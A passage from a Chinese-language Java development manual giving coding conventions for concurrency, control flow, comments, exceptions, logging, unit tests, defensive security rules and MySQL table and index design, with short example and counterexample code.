return helper;
}
// other methods and fields...
}
Java 开发手册
18/44
17. 【参考】volatile 解决多线程内存不可见问题。对于一写多读,是可以解决变量同步问题,但
是如果多写,同样无法解决线程安全问题。
说明:如果是 count++操作,使用如下类实现:AtomicInteger count = new AtomicInteger();
count.addAndGet(1); 如果是 JDK8,推荐使用 LongAdder 对象,比 AtomicLong 性能更好(减少乐观
锁的重试次数)。
18. 【参考】HashMap 在容量不够进行 resize 时由于高并发可能出现死链,导致 CPU 飙升,在
开发过程中可以使用其它数据结构或加锁来规避此风险。
19. 【参考】ThreadLocal 对象使用 static 修饰,ThreadLocal 无法解决共享对象的更新问题。
说明:这个变量是针对一个线程内所有操作共享的,所以设置为静态变量,所有此类实例共享此静态变
量,也就是说在类第一次被使用时装载,只分配一块存储空间,所有此类的对象(只要是这个线程内定义
的)都可以操控这个变量。
(七) 控制语句
1. 【强制】在一个 switch 块内,每个 case 要么通过 continue/break/return 等来终止,要么
注释说明程序将继续执行到哪一个 case 为止;在一个 switch 块内,都必须包含一个
default 语句并且放在最后,即使它什么代码也没有。
说明:注意 break 是退出 switch 语句块,而 return 是退出方法体。
2. 【强制】当 switch 括号内的变量类型为 String 并且此变量为外部参数时,必须先进行 null
判断。
反例:猜猜下面的代码输出是什么?
public class SwitchString {
public static void main(String[] args) {
method(null);
}
public static void method(String param) {
switch (param) {
// 肯定不是进入这里
case "sth":
System.out.println("it's sth");
break;
// 也不是进入这里
case "null":
System.out.println("it's null");
break;
// 也不是进入这里
default:
System.out.println("default");
}
}
}
Java 开发手册
19/44
3. 【强制】在 if/else/for/while/do 语句中必须使用大括号。
说明:即使只有一行代码,避免采用单行的编码方式:if (condition) statements;
4. 【强制】在高并发场景中,避免使用”等于”判断作为中断或退出的条件。
说明:如果并发控制没有处理好,容易产生等值判断被“击穿”的情况,使用大于或小于的区间判断条件
来代替。
反例:判断剩余奖品数量等于 0 时,终止发放奖品,但因为并发处理错误导致奖品数量瞬间变成了负数,
这样的话,活动无法终止。
5. 【推荐】表达异常的分支时,少用 if-else 方式,这种方式可以改写成:
if (condition) {
...
return obj;
}
// 接着写 else 的业务逻辑代码;
说明:如果非使用 if()...else if()...else...方式表达逻辑,避免后续代码维护困难,【强制】请勿超过 3 层。
正例:超过 3 层的 if-else 的逻辑判断代码可以使用卫语句、策略模式、状态模式等来实现,其中卫语句
即代码逻辑先考虑失败、异常、中断、退出等直接返回的情况,以方法多个出口的方式,解决代码中判断
分支嵌套的问题,这是逆向思维的体现。
示例如下:
public void findBoyfriend(Man man) {
if (man.isUgly()) {
System.out.println("本姑娘是外貌协会的资深会员");
return;
}
if (man.isPool()) {
System.out.println("贫贱夫妻百事哀");
return;
}
if (man.isBadTemper()) {
System.out.println("银河有多远,你就给我滚多远");
return;
}
System.out.println("可以先交往一段时间看看");
}
6. 【推荐】除常用方法(如 getXxx/isXxx)等外,不要在条件判断中执行其它复杂的语句,将复
杂逻辑判断的结果赋值给一个有意义的布尔变量名,以提高可读性。
说明:很多 if 语句内的逻辑表达式相当复杂,与、或、取反混合运算,甚至各种方法纵深调用,理解成
本非常高。如果赋值一个非常好理解的布尔变量名字,则是件令人爽心悦目的事情。
正例:
// 伪代码如下
final boolean existed = (file.open(fileName, "w") != null) && (...) || (...);
Java 开发手册
20/44
if (existed) {
...
}
反例:
public final void acquire(long arg) {
if (!tryAcquire(arg) &&
acquireQueued(addWaiter(Node.EXCLUSIVE), arg)) {
selfInterrupt();
}
}
7. 【推荐】不要在其它表达式(尤其是条件表达式)中,插入赋值语句。
说明:赋值点类似于人体的穴位,对于代码的理解至关重要,所以赋值语句需要清晰地单独成为一行。
反例:
public Lock getLock(boolean fair) {
// 算术表达式中出现赋值操作,容易忽略 count 值已经被改变
threshold = (count = Integer.MAX_VALUE) - 1;
// 条件表达式中出现赋值操作,容易误认为是 sync==fair
return (sync = fair) ? new FairSync() : new NonfairSync();
}
8. 【推荐】循环体中的语句要考量性能,以下操作尽量移至循环体外处理,如定义对象、变
量、获取数据库连接,进行不必要的 try-catch 操作(这个 try-catch 是否可以移至循环体
外)。
9. 【推荐】避免采用取反逻辑运算符。
说明:取反逻辑不利于快速理解,并且取反逻辑写法必然存在对应的正向逻辑写法。
正例:使用 if (x < 628) 来表达 x 小于 628。
反例:使用 if (!(x >= 628)) 来表达 x 小于 628。
10. 【推荐】接口入参保护,这种场景常见的是用作批量操作的接口。
11. 【参考】下列情形,需要进行参数校验:
1) 调用频次低的方法。
2) 执行时间开销很大的方法。此情形中,参数校验时间几乎可以忽略不计,但如果因为参数错误导致
中间执行回退,或者错误,那得不偿失。
3) 需要极高稳定性和可用性的方法。
4) 对外提供的开放接口,不管是 RPC/API/HTTP 接口。
5) 敏感权限入口。
12. 【参考】下列情形,不需要进行参数校验:
1) 极有可能被循环调用的方法。但在方法说明里必须注明外部参数检查要求。
2) 底层调用频度比较高的方法。毕竟是像纯净水过滤的最后一道,参数错误不太可能到底层才会暴露
问题。一般 DAO 层与 Service 层都在同一个应用中,部署在同一台服务器中,所以 DAO 的参数校验,可
以省略。
Java 开发手册
21/44
3) 被声明成 private 只会被自己代码所调用的方法,如果能够确定调用方法的代码传入参数已经做过检
查或者肯定不会有问题,此时可以不校验参数。
(八) 注释规约
1. 【强制】类、类属性、类方法的注释必须使用 Javadoc 规范,使用/**内容*/格式,不得使用
// xxx 方式。
说明:在 IDE 编辑窗口中,Javadoc 方式会提示相关注释,生成 Javadoc 可以正确输出相应注释;在 IDE
中,工程调用方法时,不进入方法即可悬浮提示方法、参数、返回值的意义,提高阅读效率。
2. 【强制】所有的抽象方法(包括接口中的方法)必须要用 Javadoc 注释、除了返回值、参数、
异常说明外,还必须指出该方法做什么事情,实现什么功能。
说明:对子类的实现要求,或者调用注意事项,请一并说明。
3. 【强制】所有的类都必须添加创建者和创建日期。
4. 【强制】方法内部单行注释,在被注释语句上方另起一行,使用//注释。方法内部多行注释
使用/* */注释,注意与代码对齐。
5. 【强制】所有的枚举类型字段必须要有注释,说明每个数据项的用途。
6. 【推荐】与其“半吊子”英文来注释,不如用中文注释把问题说清楚。专有名词与关键字保
持英文原文即可。
反例:“TCP 连接超时”解释成“传输控制协议连接超时”,理解反而费脑筋。
7. 【推荐】代码修改的同时,注释也要进行相应的修改,尤其是参数、返回值、异常、核心逻
辑等的修改。
说明:代码与注释更新不同步,就像路网与导航软件更新不同步一样,如果导航软件严重滞后,就失去了
导航的意义。
8. 【参考】谨慎注释掉代码。在上方详细说明,而不是简单地注释掉。如果无用,则删除。
说明:代码被注释掉有两种可能性:1)后续会恢复此段代码逻辑。2)永久不用。前者如果没有备注信
息,难以知晓注释动机。后者建议直接删掉(代码仓库已然保存了历史代码)。
9. 【参考】对于注释的要求:第一、能够准确反映设计思想和代码逻辑;第二、能够描述业务
含义,使别的程序员能够迅速了解到代码背后的信息。完全没有注释的大段代码对于阅读者
形同天书,注释是给自己看的,即使隔很长时间,也能清晰理解当时的思路;注释也是给继
任者看的,使其能够快速接替自己的工作。
10. 【参考】好的命名、代码结构是自解释的,注释力求精简准确、表达到位。避免出现注释的
一个极端:过多过滥的注释,代码的逻辑一旦修改,修改注释是相当大的负担。
Java 开发手册
22/44
反例:
// put elephant into fridge
put(elephant, fridge);
方法名 put,加上两个有意义的变量名 elephant 和 fridge,已经说明了这是在干什么,语义清晰的代
码不需要额外的注释。
11. 【参考】特殊注释标记,请注明标记人与标记时间。注意及时处理这些标记,通过标记扫
描,经常清理此类标记。线上故障有时候就是来源于这些标记处的代码。
1) 待办事宜(TODO):(标记人,标记时间,[预计处理时间])
表示需要实现,但目前还未实现的功能。这实际上是一个 Javadoc 的标签,目前的 Javadoc 还没
有实现,但已经被广泛使用。只能应用于类,接口和方法(因为它是一个 Javadoc 标签)。
2) 错误,不能工作(FIXME):(标记人,标记时间,[预计处理时间])
在注释中用 FIXME 标记某代码是错误的,而且不能工作,需要及时纠正的情况。
(九) 其它
1. 【强制】在使用正则表达式时,利用好其预编译功能,可以有效加快正则匹配速度。
说明:不要在方法体内定义:Pattern pattern = Pattern.compile(“规则”);
2. 【强制】velocity 调用 POJO 类的属性时,直接使用属性名取值即可,模板引擎会自动按规范
调用 POJO 的 getXxx(),如果是 boolean 基本数据类型变量(boolean 命名不需要加 is 前
缀),会自动调用 isXxx()方法。
说明:注意如果是 Boolean 包装类对象,优先调用 getXxx()的方法。
3. 【强制】后台输送给页面的变量必须加$!{var}——中间的感叹号。
说明:如果 var 等于 null 或者不存在,那么${var}会直接显示在页面上。
4. 【强制】注意 Math.random() 这个方法返回是 double 类型,注意取值的范围 0≤x<1(能够
取到零值,注意除零异常),如果想获取整数类型的随机数,不要将 x 放大 10 的若干倍然后
取整,直接使用 Random 对象的 nextInt 或者 nextLong 方法。
5. 【强制】获取当前毫秒数 System.currentTimeMillis(); 而不是 new Date().getTime();
说明:如果想获取更加精确的纳秒级时间值,使用 System.nanoTime()的方式。在 JDK8 中,针对统计时
间等场景,推荐使用 Instant 类。
6. 【强制】日期格式化时,传入 pattern 中表示年份统一使用小写的 y。
说明:日期格式化时,yyyy 表示当天所在的年,而大写的 YYYY 代表是 week in which year
(JDK7 之后引入的概念),意思是当天所在的周属于的年份,一周从周日开始,周六结束,
只要本周跨年,返回的 YYYY 就是下一年。另外需要注意:
⚫ 表示月份是大写的 M
Java 开发手册
23/44
⚫ 表示分钟则是小写的 m
⚫ 24 小时制的是大写的 H
⚫ 12 小时制的则是小写的 h
正例:表示日期和时间的格式如下所示:
new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
7. 【推荐】不要在视图模板中加入任何复杂的逻辑。
说明:根据 MVC 理论,视图的职责是展示,不要抢模型和控制器的活。
8. 【推荐】任何数据结构的构造或初始化,都应指定大小,避免数据结构无限增长吃光内存。
9. 【推荐】及时清理不再使用的代码段或配置信息。
说明:对于垃圾代码或过时配置,坚决清理干净,避免程序过度臃肿,代码冗余。
正例:对于暂时被注释掉,后续可能恢复使用的代码片断,在注释代码上方,统一规定使用三个斜杠(///)
来说明注释掉代码的理由。
Java 开发手册
24/44
二、异常日志
(一) 异常处理
1. 【强制】Java 类库中定义的可以通过预检查方式规避的 RuntimeException 异常不应该通
过 catch 的方式来处理,比如:NullPointerException,IndexOutOfBoundsException 等
等。
说明:无法通过预检查的异常除外,比如,在解析字符串形式的数字时,可能存在数字格式错误,不得不
通过 catch NumberFormatException 来实现。
正例:if (obj != null) {...}
反例:try { obj.method(); } catch (NullPointerException e) {…}
2. 【强制】异常不要用来做流程控制,条件控制。
说明:异常设计的初衷是解决程序运行中的各种意外情况,且异常的处理效率比条件判断方式要低很多。
3. 【强制】catch 时请分清稳定代码和非稳定代码,稳定代码指的是无论如何不会出错的代码。
对于非稳定代码的 catch 尽可能进行区分异常类型,再做对应的异常处理。
说明:对大段代码进行 try-catch,使程序无法根据不同的异常做出正确的应激反应,也不利于定位问
题,这是一种不负责任的表现。
正例:用户注册的场景中,如果用户输入非法字符,或用户名称已存在,或用户输入密码过于简单,在程
序上作出分门别类的判断,并提示给用户。
4. 【强制】捕获异常是为了处理它,不要捕获了却什么都不处理而抛弃之,如果不想处理它,
请将该异常抛给它的调用者。最外层的业务使用者,必须处理异常,将其转化为用户可以理
解的内容。
5. 【强制】有 try 块放到了事务代码中,catch 异常后,如果需要回滚事务,一定要注意手动回
滚事务。
6. 【强制】finally 块必须对资源对象、流对象进行关闭,有异常也要做 try-catch。
说明:如果 JDK7 及以上,可以使用 try-with-resources 方式。
7. 【强制】不要在 finally 块中使用 return。
说明:try 块中的 return 语句执行成功后,并不马上返回,而是继续执行 finally 块中的语句,如果此处存
在 return 语句,则在此直接返回,无情丢弃掉 try 块中的返回点。
反例:
private int x = 0;
public int checkReturn() {
try {
// x 等于 1,此处不返回
return ++x;
} finally {
Java 开发手册
25/44
// 返回的结果是 2
return ++x;
}
}
8. 【强制】捕获异常与抛异常,必须是完全匹配,或者捕获异常是抛异常的父类。
说明:如果预期对方抛的是绣球,实际接到的是铅球,就会产生意外情况。
9. 【强制】在调用 RPC、二方包、或动态生成类的相关方法时,捕捉异常必须使用 Throwable
类来进行拦截。
说明:通过反射机制来调用方法,如果找不到方法,抛出 NoSuchMethodException。什么情况会抛出
NoSuchMethodError 呢?二方包在类冲突时,仲裁机制可能导致引入非预期的版本使类的方法签名不匹
配,或者在字节码修改框架(比如:ASM)动态创建或修改类时,修改了相应的方法签名。这些情况,即
使代码编译期是正确的,但在代码运行期时,会抛出 NoSuchMethodError。
10. 【推荐】方法的返回值可以为 null,不强制返回空集合,或者空对象等,必须添加注释充分
说明什么情况下会返回 null 值。
说明:本手册明确防止 NPE 是调用者的责任。即使被调用方法返回空集合或者空对象,对调用者来说,也
并非高枕无忧,必须考虑到远程调用失败、序列化失败、运行时异常等场景返回 null 的情况。
11. 【推荐】防止 NPE,是程序员的基本修养,注意 NPE 产生的场景:
1) 返回类型为基本数据类型,return 包装数据类型的对象时,自动拆箱有可能产生 NPE。
反例:public int f() { return Integer 对象}, 如果为 null,自动解箱抛 NPE。
2) 数据库的查询结果可能为 null。
3) 集合里的元素即使 isNotEmpty,取出的数据元素也可能为 null。
4) 远程调用返回对象时,一律要求进行空指针判断,防止 NPE。
5) 对于 Session 中获取的数据,建议进行 NPE 检查,避免空指针。
6) 级联调用 obj.getA().getB().getC();一连串调用,易产生 NPE。
正例:使用 JDK8 的 Optional 类来防止 NPE 问题。
12. 【推荐】定义时区分 unchecked / checked 异常,避免直接抛出 new RuntimeException(),
更不允许抛出 Exception 或者 Throwable,应使用有业务含义的自定义异常。推荐业界已定
义过的自定义异常,如:DAOException / ServiceException 等。
13. 【参考】对于公司外的 http/api 开放接口必须使用“错误码”;而应用内部推荐异常抛出;
跨应用间 RPC 调用优先考虑使用 Result 方式,封装 isSuccess()方法、“错误码”、“错误
简短信息”。
说明:关于 RPC 方法返回方式使用 Result 方式的理由:
1)使用抛异常返回方式,调用方如果没有捕获到就会产生运行时错误。
2)如果不加栈信息,只是 new 自定义异常,加入自己的理解的 error message,对于调用端解决问题
的帮助不会太多。如果加了栈信息,在频繁调用出错的情况下,数据序列化和传输的性能损耗也是问题。
Java 开发手册
26/44
14. 【参考】避免出现重复的代码(Don't Repeat Yourself),即 DRY 原则。
说明:随意复制和粘贴代码,必然会导致代码的重复,在以后需要修改时,需要修改所有的副本,容易遗
漏。必要时抽取共性方法,或者抽象公共类,甚至是组件化。
正例:一个类中有多个 public 方法,都需要进行数行相同的参数校验操作,这个时候请抽取:
private boolean checkParam(DTO dto) {...}
(二) 日志规约
1. 【强制】应用中不可直接使用日志系统(Log4j、Logback)中的 API,而应依赖使用日志框架
SLF4J 中的 API,使用门面模式的日志框架,有利于维护和各个类的日志处理方式统一。
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
private static final Logger logger = LoggerFactory.getLogger(Test.class);
2. 【强制】所有日志文件至少保存 15 天,因为有些异常具备以“周”为频次发生的特点。网络
运行状态、安全相关信息、系统监测、管理后台操作、用户敏感操作需要留存相关的网络日
志不少于 6 个月。
3. 【强制】应用中的扩展日志(如打点、临时监控、访问日志等)命名方式:
appName_logType_logName.log。logType:日志类型,如 stats/monitor/access 等;logName:日志
描述。这种命名的好处:通过文件名就可知道日志文件属于什么应用,什么类型,什么目的,也有利于归
类查找。
说明:推荐对日志进行分类,如将错误日志和业务日志分开存放,便于开发人员查看,也便于通过日志对
系统进行及时监控。
正例:force-web 应用中单独监控时区转换异常,如:force_web_timeZoneConvert.log
4. 【强制】在日志输出时,字符串变量之间的拼接使用占位符的方式。
说明:因为 String 字符串的拼接会使用 StringBuilder 的 append()方式,有一定的性能损耗。使用占位符
仅是替换动作,可以有效提升性能。
正例:logger.debug("Processing trade with id: {} and symbol: {}", id, symbol);
5. 【强制】对于 trace/debug/info 级别的日志输出,必须进行日志级别的开关判断。
说明:虽然在 debug(参数)的方法体内第一行代码 isDisabled(Level.DEBUG_INT)为真时(Slf4j 的常见实
现 Log4j 和 Logback),就直接 return,但是参数可能会进行字符串拼接运算。此外,如果
debug(getName())这种参数内有 getName()方法调用,无谓浪费方法调用的开销。
正例:
// 如果判断为真,那么可以输出 trace 和 debug 级别的日志
if (logger.isDebugEnabled()) {
logger.debug("Current ID is: {} and name is: {}", id, getName());
}
Java 开发手册
27/44
6. 【强制】避免重复打印日志,浪费磁盘空间,务必在 log4j.xml 中设置 additivity=false。
正例:<logger name="com.taobao.dubbo.config" additivity="false">
7. 【强制】异常信息应该包括两类信息:案发现场信息和异常堆栈信息。如果不处理,那么通
过关键字 throws 往上抛出。
正例:logger.error(各类参数或者对象 toString() + "_" + e.getMessage(), e);
8. 【推荐】谨慎地记录日志。生产环境禁止输出 debug 日志;有选择地输出 info 日志;如果使
用 warn 来记录刚上线时的业务行为信息,一定要注意日志输出量的问题,避免把服务器磁盘
撑爆,并记得及时删除这些观察日志。
说明:大量地输出无效日志,不利于系统性能提升,也不利于快速定位错误点。记录日志时请思考:这些
日志真的有人看吗?看到这条日志你能做什么?能不能给问题排查带来好处?
9. 【推荐】可以使用 warn 日志级别来记录用户输入参数错误的情况,避免用户投诉时,无所
适从。如非必要,请不要在此场景打出 error 级别,避免频繁报警。
说明:注意日志输出的级别,error 级别只记录系统逻辑出错、异常或者重要的错误信息。
10. 【推荐】尽量用英文来描述日志错误信息,如果日志中的错误信息用英文描述不清楚的话使
用中文描述即可,否则容易产生歧义。【强制】国际化团队或海外部署的服务器由于字符集
问题,使用全英文来注释和描述日志错误信息。
Java 开发手册
28/44
三、单元测试
1. 【强制】好的单元测试必须遵守 AIR 原则。
说明:单元测试在线上运行时,感觉像空气(AIR)一样并不存在,但在测试质量的保障上,却是非常关
键的。好的单元测试宏观上来说,具有自动化、独立性、可重复执行的特点。
⚫ A:Automatic(自动化)
⚫ I:Independent(独立性)
⚫ R:Repeatable(可重复)
2. 【强制】单元测试应该是全自动执行的,并且非交互式的。测试用例通常是被定期执行的,
执行过程必须完全自动化才有意义。输出结果需要人工检查的测试不是一个好的单元测试。
单元测试中不准使用 System.out 来进行人肉验证,必须使用 assert 来验证。
3. 【强制】保持单元测试的独立性。为了保证单元测试稳定可靠且便于维护,单元测试用例之
间决不能互相调用,也不能依赖执行的先后次序。
反例:method2 需要依赖 method1 的执行,将执行结果作为 method2 的输入。
4. 【强制】单元测试是可以重复执行的,不能受到外界环境的影响。
说明:单元测试通常会被放到持续集成中,每次有代码 check in 时单元测试都会被执行。如果单测对外部
环境(网络、服务、中间件等)有依赖,容易导致持续集成机制的不可用。
正例:为了不受外界环境影响,要求设计代码时就把 SUT 的依赖改成注入,在测试时用 spring 这样的 DI
框架注入一个本地(内存)实现或者 Mock 实现。
5. 【强制】对于单元测试,要保证测试粒度足够小,有助于精确定位问题。单测粒度至多是类
级别,一般是方法级别。
说明:只有测试粒度小才能在出错时尽快定位到出错位置。单测不负责检查跨类或者跨系统的交互逻辑,
那是集成测试的领域。
6. 【强制】核心业务、核心应用、核心模块的增量代码确保单元测试通过。
说明:新增代码及时补充单元测试,如果新增代码影响了原有单元测试,请及时修正。
7. 【强制】单元测试代码必须写在如下工程目录:src/test/java,不允许写在业务代码目录下。
说明:源码编译时会跳过此目录,而单元测试框架默认是扫描此目录。
8. 【推荐】单元测试的基本目标:语句覆盖率达到 70%;核心模块的语句覆盖率和分支覆盖率
都要达到 100%
说明:在工程规约的应用分层中提到的 DAO 层,Manager 层,可重用度高的 Service,都应该进行单元
测试。
Java 开发手册
29/44
9. 【推荐】编写单元测试代码遵守 BCDE 原则,以保证被测试模块的交付质量。
⚫ B:Border,边界值测试,包括循环边界、特殊取值、特殊时间点、数据顺序等。
⚫ C:Correct,正确的输入,并得到预期的结果。
⚫ D:Design,与设计文档相结合,来编写单元测试。
⚫ E:Error,强制错误信息输入(如:非法数据、异常流程、业务允许外等),并得到预期的结果。
10. 【推荐】对于数据库相关的查询,更新,删除等操作,不能假设数据库里的数据是存在的,
或者直接操作数据库把数据插入进去,请使用程序插入或者导入数据的方式来准备数据。
反例:删除某一行数据的单元测试,在数据库中,先直接手动增加一行作为删除目标,但是这一行新增数
据并不符合业务插入规则,导致测试结果异常。
11. 【推荐】和数据库相关的单元测试,可以设定自动回滚机制,不给数据库造成脏数据。或者
对单元测试产生的数据有明确的前后缀标识。
正例:在企业智能事业部的内部单元测试中,使用 ENTERPRISE_INTELLIGENCE _UNIT_TEST_的前缀来
标识单元测试相关代码。
12. 【推荐】对于不可测的代码在适当的时机做必要的重构,使代码变得可测,避免为了达到测
试要求而书写不规范测试代码。
13. 【推荐】在设计评审阶段,开发人员需要和测试人员一起确定单元测试范围,单元测试最好
覆盖所有测试用例。
14. 【推荐】单元测试作为一种质量保障手段,在项目提测前完成单元测试,不建议项目发布后
补充单元测试用例。
15. 【参考】为了更方便地进行单元测试,业务代码应避免以下情况:
⚫ 构造方法中做的事情过多。
⚫ 存在过多的全局变量和静态方法。
⚫ 存在过多的外部依赖。
⚫ 存在过多的条件语句。
说明:多层条件语句建议使用卫语句、策略模式、状态模式等方式重构。
16. 【参考】不要对单元测试存在如下误解:
⚫ 那是测试同学干的事情。本文是开发手册,凡是本文内容都是与开发同学强相关的。
⚫ 单元测试代码是多余的。系统的整体功能与各单元部件的测试正常与否是强相关的。
⚫ 单元测试代码不需要维护。一年半载后,那么单元测试几乎处于废弃状态。
⚫ 单元测试与线上故障没有辩证关系。好的单元测试能够最大限度地规避线上故障。
Java 开发手册
30/44
四、安全规约
1. 【强制】隶属于用户个人的页面或者功能必须进行权限控制校验。
说明:防止没有做水平权限校验就可随意访问、修改、删除别人的数据,比如查看他人的私信内容、修改
他人的订单。
2. 【强制】用户敏感数据禁止直接展示,必须对展示数据进行脱敏。
说明:中国大陆个人手机号码显示为:137****0969,隐藏中间 4 位,防止隐私泄露。
3. 【强制】用户输入的 SQL 参数严格使用参数绑定或者 METADATA 字段值限定,防止 SQL 注
入,禁止字符串拼接 SQL 访问数据库。
4. 【强制】用户请求传入的任何参数必须做有效性验证。
说明:忽略参数校验可能导致:
⚫ page size 过大导致内存溢出
⚫ 恶意 order by 导致数据库慢查询
⚫ 任意重定向
⚫ SQL 注入
⚫ 反序列化注入
⚫ 正则输入源串拒绝服务 ReDoS
说明:Java 代码用正则来验证客户端的输入,有些正则写法验证普通用户输入没有问题,但是如果攻
击人员使用的是特殊构造的字符串来验证,有可能导致死循环的结果。
5. 【强制】禁止向 HTML 页面输出未经安全过滤或未正确转义的用户数据。
6. 【强制】表单、AJAX 提交必须执行 CSRF 安全验证。
说明:CSRF(Cross-site request forgery)跨站请求伪造是一类常见编程漏洞。对于存在 CSRF 漏洞的应用
/网站,攻击者可以事先构造好 URL,只要受害者用户一访问,后台便在用户不知情的情况下对数据库中
用户参数进行相应修改。
7. 【强制】在使用平台资源,譬如短信、邮件、电话、下单、支付,必须实现正确的防重放的
机制,如数量限制、疲劳度控制、验证码校验,避免被滥刷而导致资损。
说明:如注册时发送验证码到手机,如果没有限制次数和频率,那么可以利用此功能骚扰到其它用户,并
造成短信平台资源浪费。
8. 【推荐】发贴、评论、发送即时消息等用户生成内容的场景必须实现防刷、文本内容违禁词
过滤等风控策略。
Java 开发手册
31/44
五、MySQL 数据库
(一) 建表规约
1. 【强制】表达是与否概念的字段,必须使用 is_xxx 的方式命名,数据类型是 unsigned
tinyint(1 表示是,0 表示否)。
说明:任何字段如果为非负数,必须是 unsigned。
注意:POJO 类中的任何布尔类型的变量,都不要加 is 前缀,所以,需要在<resultMap>设置从 is_xxx
到 Xxx 的映射关系。数据库表示是与否的值,使用 tinyint 类型,坚持 is_xxx 的命名方式是为了明确其取
值含义与取值范围。
正例:表达逻辑删除的字段名 is_deleted,1 表示删除,0 表示未删除。
2. 【强制】表名、字段名必须使用小写字母或数字,禁止出现数字开头,禁止两个下划线中间
只出现数字。数据库字段名的修改代价很大,因为无法进行预发布,所以字段名称需要慎重
考虑。
说明:MySQL 在 Windows 下不区分大小写,但在 Linux 下默认是区分大小写。因此,数据库名、表
名、字段名,都不允许出现任何大写字母,避免节外生枝。
正例:aliyun_admin,rdc_config,level3_name
反例:AliyunAdmin,rdcConfig,level_3_name
3. 【强制】表名不使用复数名词。
说明:表名应该仅仅表示表里面的实体内容,不应该表示实体数量,对应于 DO 类名也是单数形式,符合
表达习惯。
4. 【强制】禁用保留字,如 desc、range、match、delayed 等,请参考 MySQL 官方保留字。
5. 【强制】主键索引名为 pk_字段名;唯一索引名为 uk_字段名;普通索引名则为 idx_字段名。
说明:pk_ 即 primary key;uk_ 即 unique key;idx_ 即 index 的简称。
6. 【强制】小数类型为 decimal,禁止使用 float 和 double。
说明:在存储的时候,float 和 double 都存在精度损失的问题,很可能在比较值的时候,得到不正确的
结果。如果存储的数据范围超过 decimal 的范围,建议将数据拆成整数和小数并分开存储。
7. 【强制】如果存储的字符串长度几乎相等,使用 char 定长字符串类型。
8. 【强制】varchar 是可变长字符串,不预先分配存储空间,长度不要超过 5000,如果存储长
度大于此值,定义字段类型为 text,独立出来一张表,用主键来对应,避免影响其它字段索
引效率。
9. 【强制】表必备三字段:id, create_time, update_time。
说明:其中 id 必为主键,类型为 bigint unsigned、单表时自增、步长为 1。create_time, update_time
的类型均为 datetime 类型。
Java 开发手册
32/44
10. 【推荐】表的命名最好是遵循“业务名称_表的作用”。
正例:alipay_task / force_project / trade_config
11. 【推荐】库名与应用名称尽量一致。
12. 【推荐】如果修改字段含义或对字段表示的状态追加时,需要及时更新字段注释。
13. 【推荐】字段允许适当冗余,以提高查询性能,但必须考虑数据一致。冗余字段应遵循:
1) 不是频繁修改的字段。
2) 不是 varchar 超长字段,更不能是 text 字段。
3) 不是唯一索引的字段。
正例:商品类目名称使用频率高,字段长度短,名称基本一不变,可在相关联的表中冗余存储类目名
称,避免关联查询。
14. 【推荐】单表行数超过 500 万行或者单表容量超过 2GB,才推荐进行分库分表。
说明:如果预计三年后的数据量根本达不到这个级别,请不要在创建表时就分库分表。
15. 【参考】合适的字符存储长度,不但节约数据库表空间、节约索引存储,更重要的是提升检
索速度。
正例:如下表,其中无符号值可以避免误存负数,且扩大了表示范围。
对象
年龄区间
类型
字节
表示范围
人
150 岁之内
tinyint unsigned
1
无符号值:0 到 255
龟
数百岁
smallint unsigned
2
无符号值:0 到 65535
恐龙化石
数千万年
int unsigned
4
无符号值:0 到约 42.9 亿
太阳
约 50 亿年
bigint unsigned
8
无符号值:0 到约 10 的 19 次方
(二) 索引规约
1. 【强制】业务上具有唯一特性的字段,即使是多个字段的组合,也必须建成唯一索引。
说明:不要以为唯一索引影响了 insert 速度,这个速度损耗可以忽略,但提高查找速度是明显的;另外,
即使在应用层做了非常完善的校验控制,只要没有唯一索引,根据墨菲定律,必然有脏数据产生。
2. 【强制】超过三个表禁止 join。需要 join 的字段,数据类型必须绝对一致;多表关联查询
时,保证被关联的字段需要有索引。
说明:即使双表 join 也要注意表索引、SQL 性能。
3. 【强制】在 varchar 字段上建立索引时,必须指定索引长度,没必要对全字段建立索引,根据
实际文本区分度决定索引长度即可。
Java 开发手册
33/44
说明:索引的长度与区分度是一对矛盾体,一般对字符串类型数据,长度为 20 的索引,区分度会高达
90%以上,可以使用 count(distinct left(列名, 索引长度))/count(*)的区分度来确定。
4. 【强制】页面搜索严禁左模糊或者全模糊,如果需要请走搜索引擎来解决。
说明:索引文件具有 B-Tree 的最左前缀匹配特性,如果左边的值未确定,那么无法使用此索引。
5. 【推荐】如果有 order by 的场景,请注意利用索引的有序性。order by 最后的字段是组合
索引的一部分,并且放在索引组合顺序的最后,避免出现 file_sort 的情况,影响查询性能。
正例:where a=? and b=? order by c; 索引:a_b_c
反例:索引如果存在范围查询,那么索引有序性无法利用,如:WHERE a>10 ORDER BY b; 索引 a_b 无
法排序。
6. 【推荐】利用覆盖索引来进行查询操作,避免回表。
说明:如果一本书需要知道第 11 章是什么标题,会翻开第 11 章对应的那一页吗?目录浏览一下就好,这
个目录就是起到覆盖索引的作用。
正例:能够建立索引的种类分为主键索引、唯一索引、普通索引三种,而覆盖索引只是一种查询的一种效
果,用 explain 的结果,extra 列会出现:using index。
7. 【推荐】利用延迟关联或者子查询优化超多分页场景。
说明:MySQL 并不是跳过 offset 行,而是取 offset+N 行,然后返回放弃前 offset 行,返回 N 行,那当
offset 特别大的时候,效率就非常的低下,要么控制返回的总页数,要么对超过特定阈值的页数进行 SQL
改写。
正例:先快速定位需要获取的 id 段,然后再关联:
SELECT a.* FROM 表 1 a, (select id from 表 1 where 条件 LIMIT 100000,20 ) b where a.id=b.id
8. 【推荐】SQL 性能优化的目标:至少要达到 range 级别,要求是 ref 级别,如果可以是
consts 最好。
说明:
1) consts 单表中最多只有一个匹配行(主键或者唯一索引),在优化阶段即可读取到数据。
2) ref 指的是使用普通的索引(normal index)。
3) range 对索引进行范围检索。
反例:explain 表的结果,type=index,索引物理文件全扫描,速度非常慢,这个 index 级别比较 range
还低,与全表扫描是小巫见大巫。
9. 【推荐】建组合索引的时候,区分度最高的在最左边。
正例:如果 where a=? and b=? ,如果 a 列的几乎接近于唯一值,那么只需要单建 idx_a 索引即可。
说明:存在非等号和等号混合时,在建索引时,请把等号条件的列前置。如:where c>? and d=? 那么
即使 c 的区分度更高,也必须把 d 放在索引的最前列,即索引 idx_d_c。
10. 【推荐】防止因字段类型不同造成的隐式转换,导致索引失效。
Java 开发手册
34/44
11. 【参考】创建索引时避免有如下极端误解:
1) 宁滥勿缺。认为一个查询就需要建一个索引。
2) 宁缺勿滥。认为索引会消耗空间、严重拖慢记录的更新以及行的新增速度。
3) 抵制惟一索引。认为业务的惟一性一律需要在应用层通过“先查后插”方式解决。
(三) SQL 语句
1. 【强制】不要使用 count(列名)或 count(常量)来替代 count(*),count(*)是 SQL92 定义的
